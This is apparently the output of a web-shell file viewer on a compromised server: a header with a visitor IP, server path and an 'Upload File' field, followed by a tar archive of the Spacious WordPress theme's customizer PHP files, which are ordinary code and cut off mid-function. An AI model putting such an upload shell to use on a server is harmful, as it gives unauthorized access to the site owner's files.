Your IP : 216.73.216.71


Current Path : /home/b/e/c/bechata/mp/73eb7/
Upload File :
Current File : /home/b/e/c/bechata/mp/73eb7/customizer.tar

class-spacious-customizer-register-sections-panels.php000066600000020333152367043330017352 0ustar00<?php
/**
 * Class to register panels and sections for customize options.
 *
 * Class Spacious_Customize_Register_Section_Panels
 *
 * @package    ThemeGrill
 * @subpackage spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to register panels and sections for customize options.
 *
 * Class Spacious_Customize_Register_Section_Panels
 */
class Spacious_Customize_Register_Section_Panels extends Spacious_Customize_Base_Option {

	/**
	 * Include customize options.
	 *
	 * @param array $options Customize options provided via the theme.
	 * @param \WP_Customize_Manager $wp_customize Theme Customizer object.
	 *
	 * @return mixed|void Customizer options for registering panels, sections as well as controls.
	 */
	public function register_options( $options, $wp_customize ) {

		$configs = array(

			// View Pro Version section.
			array(
				'name'             => 'spacious_customize_upsell_section',
				'type'             => 'section',
				'title'            => esc_html__( 'View Pro Version', 'spacious' ),
				'url'              => 'https://themegrill.com/spacious-pricing/?utm_source=spacious-customizer&utm_medium=view-pro-link&utm_campaign=spacious-pricing',
				'priority'         => 1,
				'section_callback' => 'Spacious_Upsell_Section',
			),


			/**
			 * Panels.
			 */
			array(
				'name'     => 'spacious_global_options',
				'type'     => 'panel',
				'title'    => esc_html__( 'Global', 'spacious' ),
				'priority' => 10,
			),

			array(
				'name'     => 'spacious_header_options',
				'type'     => 'panel',
				'title'    => esc_html__( 'Header', 'spacious' ),
				'priority' => 20,
			),

			array(
				'name'     => 'spacious_slider_options',
				'type'     => 'section',
				'title'    => esc_html__( 'Slider', 'spacious' ),
				'priority' => 30,
			),

			array(
				'name'     => 'spacious_content_options',
				'type'     => 'panel',
				'title'    => esc_html__( 'Content', 'spacious' ),
				'priority' => 40,
			),

			array(
				'name'     => 'spacious_footer_options',
				'type'     => 'panel',
				'title'    => esc_html__( 'Footer', 'spacious' ),
				'priority' => 50,
			),

			// Separator.
			array(
				'name'             => 'separator',
				'type'             => 'section',
				'priority'         => 80,
				'section_callback' => 'spacious_WP_Customize_Separator',
			),

			/**
			 * Global.
			 */
			// Colors.
			array(
				'name'     => 'spacious_global_color_setting',
				'type'     => 'section',
				'title'    => esc_html__( 'Colors', 'spacious' ),
				'panel'    => 'spacious_global_options',
				'priority' => 10,
			),

			array(
				'name'     => 'spacious_primary_colors_section',
				'type'     => 'section',
				'title'    => esc_html__( 'Primary Colors', 'spacious' ),
				'panel'    => 'spacious_global_options',
				'section'  => 'spacious_global_color_setting',
				'priority' => 10,
			),

			array(
				'name'     => 'spacious_skin_color_section',
				'type'     => 'section',
				'title'    => esc_html__( 'Color Skin', 'spacious' ),
				'panel'    => 'spacious_global_options',
				'section'  => 'spacious_global_color_setting',
				'priority' => 30,
			),

			// Background.
			array(
				'name'     => 'spacious_global_background_section',
				'type'     => 'section',
				'title'    => esc_html__( 'Background', 'spacious' ),
				'panel'    => 'spacious_global_options',
				'priority' => 20,
			),

			// Layout.
			array(
				'name'     => 'spacious_global_layout_section',
				'type'     => 'section',
				'title'    => esc_html__( 'Layout', 'spacious' ),
				'panel'    => 'spacious_global_options',
				'priority' => 30,
			),

			array(
				'name'     => 'spacious_site_layout_section',
				'type'     => 'section',
				'title'    => esc_html__( 'Site Layout', 'spacious' ),
				'panel'    => 'spacious_global_options',
				'section'  => 'spacious_global_layout_section',
				'priority' => 10,
			),

			array(
				'name'     => 'spacious_sidebar_layout_section',
				'type'     => 'section',
				'title'    => esc_html__( 'Sidebar Layout', 'spacious' ),
				'panel'    => 'spacious_global_options',
				'section'  => 'spacious_global_layout_section',
				'priority' => 20,
			),

			// Typography.
			array(
				'name'     => 'spacious_global_typography_section',
				'type'     => 'section',
				'title'    => esc_html__( 'Typography', 'spacious' ),
				'panel'    => 'spacious_global_options',
				'priority' => 40,
			),

			array(
				'name'     => 'spacious_base_typography_section',
				'type'     => 'section',
				'title'    => esc_html__( 'Base', 'spacious' ),
				'panel'    => 'spacious_global_options',
				'section'  => 'spacious_global_typography_section',
				'priority' => 10,
			),

			array(
				'name'     => 'spacious_headings_typography_section',
				'type'     => 'section',
				'title'    => esc_html__( 'Headings', 'spacious' ),
				'panel'    => 'spacious_global_options',
				'section'  => 'spacious_global_typography_section',
				'priority' => 20,
			),

			/**
			 * Header.
			 */
			array(
				'name'     => 'title_tagline',
				'type'     => 'section',
				'title'    => esc_html__( 'Site Identity', 'spacious' ),
				'panel'    => 'spacious_header_options',
				'priority' => 5,
			),

			array(
				'name'     => 'spacious_header_top_bar',
				'type'     => 'section',
				'title'    => esc_html__( 'Top Bar', 'spacious' ),
				'panel'    => 'spacious_header_options',
				'priority' => 20,
			),

			array(
				'name'     => 'spacious_header_main',
				'type'     => 'section',
				'title'    => esc_html__( 'Primary Header', 'spacious' ),
				'panel'    => 'spacious_header_options',
				'priority' => 30,
			),

			array(
				'name'     => 'spacious_header_primary_menu',
				'type'     => 'section',
				'title'    => esc_html__( 'Primary Menu', 'spacious' ),
				'panel'    => 'spacious_header_options',
				'priority' => 40,
			),

			array(
				'name'     => 'spacious_header_button',
				'type'     => 'section',
				'title'    => esc_html__( 'Header Button', 'spacious' ),
				'panel'    => 'spacious_header_options',
				'priority' => 50,
			),

			array(
				'name'     => 'spacious_header_button_one',
				'type'     => 'section',
				'title'    => esc_html__( 'Header Button One', 'spacious' ),
				'panel'    => 'spacious_header_options',
				'section'  => 'spacious_header_button',
				'priority' => 20,
			),

			/**
			 * Content.
			 */
			array(
				'name'     => 'spacious_post_page_content_options',
				'type'     => 'section',
				'title'    => esc_html__( 'Page Header', 'spacious' ),
				'panel'    => 'spacious_content_options',
				'priority' => 10,
			),

			array(
				'name'     => 'spacious_blog_content_options',
				'type'     => 'section',
				'title'    => esc_html__( 'Blog / Archive', 'spacious' ),
				'panel'    => 'spacious_content_options',
				'priority' => 20,
			),

			array(
				'name'     => 'spacious_single_post_section',
				'type'     => 'section',
				'title'    => esc_html__( 'Single Post', 'spacious' ),
				'panel'    => 'spacious_content_options',
				'priority' => 30,
			),


			array(
				'name'     => 'spacious_page_section',
				'type'     => 'section',
				'title'    => esc_html__( 'Page', 'spacious' ),
				'panel'    => 'spacious_content_options',
				'priority' => 50,
			),

			/**
			 * Footer.
			 */

			array(
				'name'     => 'spacious_footer_widgets_area_section',
				'type'     => 'section',
				'title'    => esc_html__( 'Footer Widgets Area', 'spacious' ),
				'panel'    => 'spacious_footer_options',
				'priority' => 20,
			),


			/**
			 * Additional.
			 */
			array(
				'name'     => 'spacious_social_links_options',
				'type'     => 'section',
				'title'    => esc_html__( 'Social Icons', 'spacious' ),
				'priority' => 10,
			),

			/**
			 * WooCommerce.
			 */
			array(
				'name'     => 'spacious_woocommerce_page_layout_setting',
				'type'     => 'section',
				'title'    => esc_html__( 'Sidebar', 'spacious' ),
				'panel'    => 'woocommerce',
				'priority' => 1,
			),

			array(
				'name'     => 'spacious_woocommerce_button_design',
				'type'     => 'section',
				'title'    => esc_html__( 'Design', 'spacious' ),
				'panel'    => 'woocommerce',
				'priority' => 2,
			),
		);

		$options = array_merge( $options, $configs );

		return $options;
	}

}

return new Spacious_Customize_Register_Section_Panels();
class-spacious-customizer.php000066600000025622152367043330012431 0ustar00<?php
/**
 * Spacious customizer class for theme customize options.
 *
 * Class Spacious_Customizer
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 1.9.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

// Include the customizer framework files.
require( dirname( __FILE__ ) . '/core/class-spacious-customizer-framework.php' );
require( dirname( __FILE__ ) . '/core/class-spacious-customize-base-option.php' );

/**
 * Spacious customizer class.
 *
 * Class Spacious_Customizer
 */
class Spacious_Customizer {

	/**
	 * Customizer setup constructor.
	 *
	 * Spacious_Customizer constructor.
	 */
	public function __construct() {

		// Include the required files for Customize option.
		add_action( 'customize_register', array( $this, 'customize_register' ), 12 );

		// Include the required files for Customize option.
		add_action( 'customize_register', array( $this, 'customize_options_file_include' ), 1 );

	}

	/**
	 * Include the required files for extending the custom Customize controls.
	 *
	 * @param WP_Customize_Manager $wp_customize Theme Customizer object.
	 */
	public function customize_custom_panels_sections_includes( $wp_customize ) {

		// Include the required customizer nested panels and sections files.
		require SPACIOUS_CUSTOMIZER_DIR . '/extend-customizer/class-spacious-upsell-section.php';

	}

	/**
	 * Include the required files for extending the custom Customize controls.
	 *
	 * @param WP_Customize_Manager $wp_customize Theme Customizer object.
	 */
	public function customize_register( $wp_customize ) {

		// Override default.
		require SPACIOUS_CUSTOMIZER_DIR . '/override-defaults.php';

	}

	/**
	 * Register Spacious customize panels, sections and controls type.
	 *
	 * @param WP_Customize_Manager $wp_customize Theme Customizer object.
	 */
	public function register_panels_sections_controls( $wp_customize ) {

		// Register panels and sections.
		$wp_customize->register_panel_type( 'Spacious_WP_Customize_Panel' );
		$wp_customize->register_section_type( 'Spacious_WP_Customize_Section' );
		$wp_customize->register_section_type( 'Spacious_Upsell_Section' );

		/**
		 * Register controls.
		 */
		/**
		 * WordPress default controls.
		 */
		// Checkbox control.
		Spacious_Customize_Base_Control::add_control(
			'checkbox',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_checkbox',
				),
			)
		);

		// Radio control.
		Spacious_Customize_Base_Control::add_control(
			'radio',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_radio_select',
				),
			)
		);

		// Select control.
		Spacious_Customize_Base_Control::add_control(
			'select',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_radio_select',
				),
			)
		);

		// Text control.
		Spacious_Customize_Base_Control::add_control(
			'text',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_nohtml',
				),
			)
		);

		// Number control.
		Spacious_Customize_Base_Control::add_control(
			'number',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_number',
				),
			)
		);

		// Email control.
		Spacious_Customize_Base_Control::add_control(
			'email',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_email',
				),
			)
		);

		// URL control.
		Spacious_Customize_Base_Control::add_control(
			'url',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_url',
				),
			)
		);

		// Textarea control.
		Spacious_Customize_Base_Control::add_control(
			'textarea',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_html',
				),
			)
		);

		// Dropdown pages control.
		Spacious_Customize_Base_Control::add_control(
			'dropdown-pages',
			array(
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_dropdown_pages',
				),
			)
		);

		// Color control.
		Spacious_Customize_Base_Control::add_control(
			'color',
			array(
				'callback'          => 'WP_Customize_Color_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_hex_color',
				),
			)
		);

		// Image upload control.
		Spacious_Customize_Base_Control::add_control(
			'image',
			array(
				'callback'          => 'WP_Customize_Image_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_image_upload',
				),
			)
		);

		// Radio image control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-radio-image',
			array(
				'callback'          => 'Spacious_Radio_Image_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_radio_select',
				),
			)
		);

		// Heading control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-heading',
			array(
				'callback'          => 'Spacious_Heading_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_false_values',
				),
			)
		);

		// Editor control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-editor',
			array(
				'callback'          => 'Spacious_Editor_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_html',
				),
			)
		);

		// Color control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-color',
			array(
				'callback'          => 'Spacious_Color_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_alpha_color',
				),
			)
		);

		// Buttonset control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-buttonset',
			array(
				'callback'          => 'Spacious_Buttonset_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_radio_select',
				),
			)
		);

		// Toggle control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-toggle',
			array(
				'callback'          => 'Spacious_Toggle_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_checkbox',
				),
			)
		);

		// Divider control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-divider',
			array(
				'callback'          => 'Spacious_Divider_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_false_values',
				),
			)
		);

		// Slider control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-slider',
			array(
				'callback'          => 'Spacious_Slider_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_number',
				),
			)
		);

		// Custom control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-custom',
			array(
				'callback'          => 'Spacious_Custom_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_false_values',
				),
			)
		);

		// Dropdown categories control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-dropdown-categories',
			array(
				'callback'          => 'Spacious_Dropdown_Categories_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_dropdown_categories',
				),
			)
		);

		// Background control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-background',
			array(
				'callback'          => 'Spacious_Background_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_background',
				),
			)
		);

		// Typography control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-typography',
			array(
				'callback'          => 'Spacious_Typography_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_typography',
				),
			)
		);

		// Hidden control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-hidden',
			array(
				'callback'          => 'Spacious_Hidden_Control',
				'sanitize_callback' => '',
			)
		);

		// Sortable control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-sortable',
			array(
				'callback'          => 'Spacious_Sortable_Control',
				'sanitize_callback' => array(
					'Spacious_Customizer_Sanitizes',
					'sanitize_sortable',
				),
			)
		);

		// Group control.
		Spacious_Customize_Base_Control::add_control(
			'spacious-group',
			array(
				'callback' => 'Spacious_Group_Control',
			)
		);

	}

	/**
	 * Include the required files for Customize option.
	 */
	public function customize_options_file_include() {

		// Include the required customize section and panels register file.
		require SPACIOUS_CUSTOMIZER_DIR . '/class-spacious-customizer-register-sections-panels.php';

		/**
		 * Include the required customize options file.
		 */
		// Global.
		require SPACIOUS_CUSTOMIZER_DIR . '/options/global/class-spacious-customize-colors-options.php';
		require SPACIOUS_CUSTOMIZER_DIR . '/options/global/class-spacious-customize-background-options.php';
		require SPACIOUS_CUSTOMIZER_DIR . '/options/global/class-spacious-customize-typography-options.php';
		require SPACIOUS_CUSTOMIZER_DIR . '/options/global/class-spacious-customize-layout-options.php';

		// Header.
		require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-site-identity-options.php';
		require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-header-media-options.php';
		require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-header-top-bar-options.php';
		require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-primary-header-options.php';
		require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-primary-menu-options.php';
		require SPACIOUS_CUSTOMIZER_DIR . '/options/header/class-spacious-customize-header-button.php';

		// Slider.
		require SPACIOUS_CUSTOMIZER_DIR . '/options/slider/class-spacious-customize-slider-options.php';

		// Content.
		require SPACIOUS_CUSTOMIZER_DIR . '/options/content/class-spacious-customize-page-header-options.php';
		require SPACIOUS_CUSTOMIZER_DIR . '/options/content/class-spacious-customize-blog-archive-options.php';
		require SPACIOUS_CUSTOMIZER_DIR . '/options/content/class-spacious-customize-single-post-options.php';
		require SPACIOUS_CUSTOMIZER_DIR . '/options/content/class-spacious-customize-page-options.php';

		// Additional.
		require SPACIOUS_CUSTOMIZER_DIR . '/options/social/class-spacious-customize-social-icons-options.php';

		// Footer.
		require SPACIOUS_CUSTOMIZER_DIR . '/options/footer/class-spacious-customize-footer-widgets-area-options.php';

		// WooCommerce.
		require SPACIOUS_CUSTOMIZER_DIR . '/options/woocommerce/class-spacious-customize-woocommerce-sidebar-options.php';
		require SPACIOUS_CUSTOMIZER_DIR . '/options/woocommerce/class-spacious-customize-woocommerce-design-options.php';
	}

}

return new Spacious_Customizer();
core/extend-customizer/class-spacious-wp-customize-section.php000066600000002700152367043330020746 0ustar00<?php
/**
 * Extend customize section to include nested sections.
 *
 * Class Spacious_WP_Customize_Section
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Extend customize section to include nested sections.
 *
 * Class Spacious_WP_Customize_Section
 */
class Spacious_WP_Customize_Section extends WP_Customize_Section {

	/**
	 * Section
	 *
	 * @var string
	 */
	public $section;

	/**
	 * Control type.
	 *
	 * @var string
	 */
	public $type = 'spacious_section';

	/**
	 * Get section parameters for JS.
	 *
	 * @return array Exported parameters.
	 */
	public function json() {

		$array                   = wp_array_slice_assoc(
			(array) $this,
			array(
				'id',
				'description',
				'priority',
				'panel',
				'type',
				'description_hidden',
				'section',
			)
		);
		$array['title']          = html_entity_decode(
			$this->title,
			ENT_QUOTES,
			get_bloginfo( 'charset' )
		);
		$array['content']        = $this->get_content();
		$array['active']         = $this->active();
		$array['instanceNumber'] = $this->instance_number;

		if ( $this->panel ) {
			$array['customizeAction'] = sprintf(
				esc_html__( 'Customizing &#9656; %s', 'spacious' ),
				esc_html( $this->manager->get_panel( $this->panel )->title )
			);
		} else {
			$array['customizeAction'] = esc_html__( 'Customizing', 'spacious' );
		}

		return $array;

	}

}
core/extend-customizer/class-spacious-wp-customize-separator.php000066600000001641152367043330021305 0ustar00<?php
/**
 * Customizer Control: panel.
 *
 * Creates a jQuery color control.
 *
 * @package     Spacious
 * @author      Spacious
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( class_exists( 'WP_Customize_Section' ) ) {

	/**
	 * Adds a custom Customize Section for section separator.
	 *
	 * @link https://gist.github.com/OriginalEXE/9a6183e09f4cae2f30b006232bb154af
	 * @since 2.0.0
	 * @see WP_Customize_Section
	 */
	class Spacious_WP_Customize_Separator extends WP_Customize_Section {

		/**
		 * Control type.
		 *
		 * @since  1.0.31
		 * @var string
		 */
		public $type = 'spacious-section-separator';

		/**
		 * Template for section separator
		 *
		 * @since 2.0.0
		 */
		protected function render_template() {
			?>
			<li id="accordion-section-{{ data.id }}" class="tg-section-separator accordion-section control-section control-section-{{ data.type }}"></li>
			<?php
		}
	}
}
core/extend-customizer/class-spacious-wp-customize-panel.php000066600000002152152367043330020402 0ustar00<?php
/**
 * Extend customize panel to include nested panels.
 *
 * Class Spacious_WP_Customize_Panel
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Extend customize panel to include nested panels.
 *
 * Class Spacious_WP_Customize_Panel
 */
class Spacious_WP_Customize_Panel extends WP_Customize_Panel {

	/**
	 * Panel
	 *
	 * @var string
	 */
	public $panel;

	/**
	 * Control type.
	 *
	 * @var string
	 */
	public $type = 'spacious_panel';

	/**
	 * Get section parameters for JS.
	 *
	 * @return array Exported parameters.
	 */
	public function json() {

		$array                   = wp_array_slice_assoc(
			(array) $this,
			array(
				'id',
				'description',
				'priority',
				'type',
				'panel',
			)
		);
		$array['title']          = html_entity_decode(
			$this->title,
			ENT_QUOTES,
			get_bloginfo( 'charset' )
		);
		$array['content']        = $this->get_content();
		$array['active']         = $this->active();
		$array['instanceNumber'] = $this->instance_number;

		return $array;

	}

}
core/extend-customizer/class-spacious-upsell-section.php000066600000002442152367043330017607 0ustar00<?php
/**
 * Customize upsell section.
 *
 * Class Spacious_Upsell_Section
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 2.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to include upsell link campaign for theme.
 *
 * Class Spacious_Upsell_Section
 */
class Spacious_Upsell_Section extends WP_Customize_Section {

	/**
	 * Control type.
	 *
	 * @var string
	 */
	public $type = 'spacious-upsell-section';

	/**
	 * Control URL.
	 *
	 * @var string
	 */
	public $url = '';

	/**
	 * Control ID.
	 *
	 * @var string
	 */
	public $id = '';

	/**
	 * Gather the parameters passed to client JavaScript via JSON.
	 *
	 * @return array The array to be exported to the client as JSON.
	 */
	public function json() {

		$json        = parent::json();
		$json['url'] = esc_url( $this->url );
		$json['id']  = $this->id;

		return $json;

	}

	/**
	 * An Underscore (JS) template for rendering this section.
	 */
	protected function render_template() {
		?>
		<li id="accordion-section-{{ data.id }}"
		    class="spacious-upsell-accordion-section control-section-{{ data.type }} cannot-expand accordion-section"
		>
			<h3 class="accordion-section-title"><a href="{{{ data.url }}}" target="_blank">{{ data.title }}</a></h3>
		</li>
		<?php
	}
}
core/class-spacious-customizer-sanitizes.php000066600000040752152367043330015371 0ustar00<?php
/**
 * Spacious customizer class for theme customize sanitizes.
 *
 * Class Spacious_Customizer_FrameWork_Sanitizes
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Spacious customizer class for theme customize callbacks.
 *
 * Class Spacious_Customizer_FrameWork_Sanitizes
 */
class Spacious_Customizer_FrameWork_Sanitizes {

	/**
	 * Sanitize the checkbox options set within customizer controls.
	 *
	 * @param int $input Input from the customize controls.
	 *
	 * @return int|string
	 */
	public static function sanitize_checkbox( $input ) {

		return ( ( $input == 1 ) ? 1 : '' );

	}

	/**
	 * Sanitize the number options set within customizer controls.
	 *
	 * @param int                  $number  Input from the customize controls.
	 * @param WP_Customize_Setting $setting Setting instance.
	 *
	 * @return int
	 */
	public static function sanitize_integer( $number, $setting ) {

		return ( is_numeric( $number ) ? intval( $number ) : $setting->default );

	}

	/**
	 * Sanitize the strings enabling HTML tags set within customizer controls.
	 *
	 * @param string $input Input from the customize controls.
	 *
	 * @return string
	 */
	public static function sanitize_html( $input ) {

		return wp_kses_post( $input );

	}

	/**
	 * Sanitize the strings disabling the HTML tags set within customizer controls.
	 *
	 * @param string $input Input from the customize controls.
	 *
	 * @return string
	 */
	public static function sanitize_nohtml( $input ) {

		return wp_filter_nohtml_kses( $input );

	}

	/**
	 * Sanitize the key values set within customizer controls.
	 *
	 * @param string $input Input from the customize controls.
	 *
	 * @return string
	 */
	public static function sanitize_key( $input ) {

		return sanitize_key( $input );

	}

	/**
	 * Sanitize the text fields set within customizer controls.
	 *
	 * @param string $input Input from the customize controls.
	 *
	 * @return string
	 */
	public static function sanitize_text_field( $input ) {

		return sanitize_text_field( $input );

	}

	/**
	 * Sanitize the radio as well as select options set within customizer controls.
	 *
	 * @param string               $input   Input from the customize controls.
	 * @param WP_Customize_Setting $setting Setting instance.
	 *
	 * @return string
	 */
	public static function sanitize_radio_select( $input, $setting ) {

		// Ensuring that the input is a slug.
		$input = sanitize_text_field( $input );

		// Get the list of choices from the control associated with the setting.
		$choices = $setting->manager->get_control( $setting->id )->choices;

		// If the input is a valid key, return it, else, return the default.
		return ( array_key_exists( $input, $choices ) ? $input : $setting->default );

	}

	/**
	 * Sanitize the hex color set within customizer controls.
	 *
	 * @param string $color Input from the customize controls.
	 *
	 * @return string
	 */
	public static function sanitize_hex_color( $color ) {

		if ( '' === $color ) {
			return '';
		}

		// 3 or 6 hex digits, or the empty string.
		if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) {
			return $color;
		}

	}

	/**
	 * Sanitize the alpha color set within customizer controls.
	 *
	 * @param string $color Input from the customize controls.
	 *
	 * @return string
	 */
	public static function sanitize_alpha_color( $color ) {

		if ( '' === $color ) {
			return '';
		}

		// Hex sanitize if no rgba color option is chosen.
		if ( false === strpos( $color, 'rgba' ) ) {
			return self::sanitize_hex_color( $color );
		}

		// Sanitize the rgba color provided via customize option.
		$color = str_replace( ' ', '', $color );
		sscanf( $color, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha );

		return 'rgba(' . $red . ',' . $green . ',' . $blue . ',' . $alpha . ')';

	}

	/**
	 * Sanitize false values within customizer controls, which user does not have to input by their own.
	 *
	 * @return bool
	 */
	public static function sanitize_false_values() {

		return false;

	}

	/**
	 * Sanitize the slider value set within customizer controls.
	 *
	 * @param number $val     Customizer setting input number.
	 * @param object $setting Setting object.
	 *
	 * @return int
	 */
	public static function sanitize_number( $val, $setting ) {

		$input_attrs = $setting->manager->get_control( $setting->id )->input_attrs;

		if ( isset( $input_attrs ) ) {

			$input_attrs['min']  = isset( $input_attrs['min'] ) ? $input_attrs['min'] : 0;
			$input_attrs['step'] = isset( $input_attrs['step'] ) ? $input_attrs['step'] : 1;

			if ( isset( $input_attrs['max'] ) && $val > $input_attrs['max'] ) {
				$val = $input_attrs['max'];
			} elseif ( $val < $input_attrs['min'] ) {
				$val = $input_attrs['min'];
			}

			if ( $val ) {
				$val = (int) $val;
			}
		}

		return is_numeric( $val ) ? $val : $setting->default;

	}

	/**
	 * Sanitize the email value set within customizer controls.
	 *
	 * @param string $email   Input from the customize controls.
	 * @param object $setting Setting object.
	 *
	 * @return string
	 */
	public static function sanitize_email( $email, $setting ) {

		// Strips out all characters that are not allowable in an email address.
		$email = sanitize_email( $email );

		// If $email is a valid email, return it, otherwise, return the default.
		return ( ! is_null( $email ) ? $email : $setting->default );

	}

	/**
	 * Sanitize the url value set within customizer controls.
	 *
	 * @param string $url Input from the customize controls.
	 *
	 * @return string
	 */
	public static function sanitize_url( $url ) {

		return esc_url_raw( $url );

	}

	/**
	 * Sanitize the dropdown categories value set within customizer controls.
	 *
	 * @param number $cat_id  Customizer setting input category id.
	 * @param object $setting Setting object.
	 *
	 * @return int
	 */
	public static function sanitize_dropdown_categories( $cat_id, $setting ) {

		// Ensure input is an absolute integer.
		$cat_id = absint( $cat_id );

		// If $cat_id is an ID of a published category, return it, otherwise, return the default value.
		return ( term_exists( $cat_id, 'category' ) ? $cat_id : $setting->default );

	}

	/**
	 * Sanitize the dropdown pages value set within customizer controls.
	 *
	 * @param number $page_id Customizer setting input page id.
	 * @param object $setting Setting object.
	 *
	 * @return int
	 */
	public static function sanitize_dropdown_pages( $page_id, $setting ) {

		// Ensure input is an absolute integer.
		$page_id = absint( $page_id );

		// If $page_id is an ID of a published page, return it, otherwise, return the default value.
		return ( 'publish' == get_post_status( $page_id ) ? $page_id : $setting->default );

	}

	/**
	 * Sanitize the image value set within customizer controls.
	 *
	 * @param number $image   Customizer setting input image filename.
	 * @param object $setting Setting object.
	 *
	 * @return int
	 */
	public static function sanitize_image_upload( $image, $setting ) {

		/**
		 * Array of valid image file types.
		 *
		 * The array includes image mime types that are included in wp_get_mime_types()
		 */
		$mimes = array(
			'jpg|jpeg|jpe' => 'image/jpeg',
			'gif'          => 'image/gif',
			'png'          => 'image/png',
			'bmp'          => 'image/bmp',
			'tiff|tif'     => 'image/tiff',
			'ico'          => 'image/x-icon',
		);

		// Return an array with file extension and mime_type.
		$file = wp_check_filetype( $image, $mimes );

		// If $image has a valid mime_type, return it, otherwise, return the empty value.
		return ( $file['ext'] ? $image : '' );

	}

	/**
	 * Sanitize the background value set within customizer controls.
	 *
	 * @param number $background_args Customizer setting input background arguments.
	 * @param object $setting         Setting object.
	 *
	 * @return mixed
	 */
	public static function sanitize_background( $background_args, $setting ) {

		if ( ! is_array( $background_args ) ) {
			return array();
		}

		$output = array();

		// Sanitizing the alpha color option.
		if ( isset( $background_args['background-color'] ) ) {
			$output['background-color'] = self::sanitize_alpha_color( $background_args['background-color'] );
		}

		// Sanitizing the background image option.
		if ( isset( $background_args['background-image'] ) ) {
			$output['background-image'] = self::sanitize_image_upload( $background_args['background-image'], $setting );
		}

		// Sanitizing the background repeat option.
		if ( isset( $background_args['background-repeat'] ) ) {
			$output['background-repeat'] = self::sanitize_text_field( $background_args['background-repeat'] );
		}

		// Sanitizing the background position option.
		if ( isset( $background_args['background-position'] ) ) {
			$output['background-position'] = self::sanitize_text_field( $background_args['background-position'] );
		}

		// Sanitizing the background size option.
		if ( isset( $background_args['background-size'] ) ) {
			$output['background-size'] = self::sanitize_text_field( $background_args['background-size'] );
		}

		// Sanitizing the background attachment option.
		if ( isset( $background_args['background-attachment'] ) ) {
			$output['background-attachment'] = self::sanitize_text_field( $background_args['background-attachment'] );
		}

		return $output;

	}

	/**
	 * Sanitize the typography value set within customizer controls.
	 *
	 * @param number $typography_args Customizer setting input typography arguments.
	 * @param object $setting         Setting object.
	 *
	 * @return mixed
	 */
	public static function sanitize_typography( $typography_args, $setting ) {

		if ( ! is_array( $typography_args ) ) {
			return array();
		}

		$output = array();

		// Sanitizing the font family option.
		if ( isset( $typography_args['font-family'] ) ) {

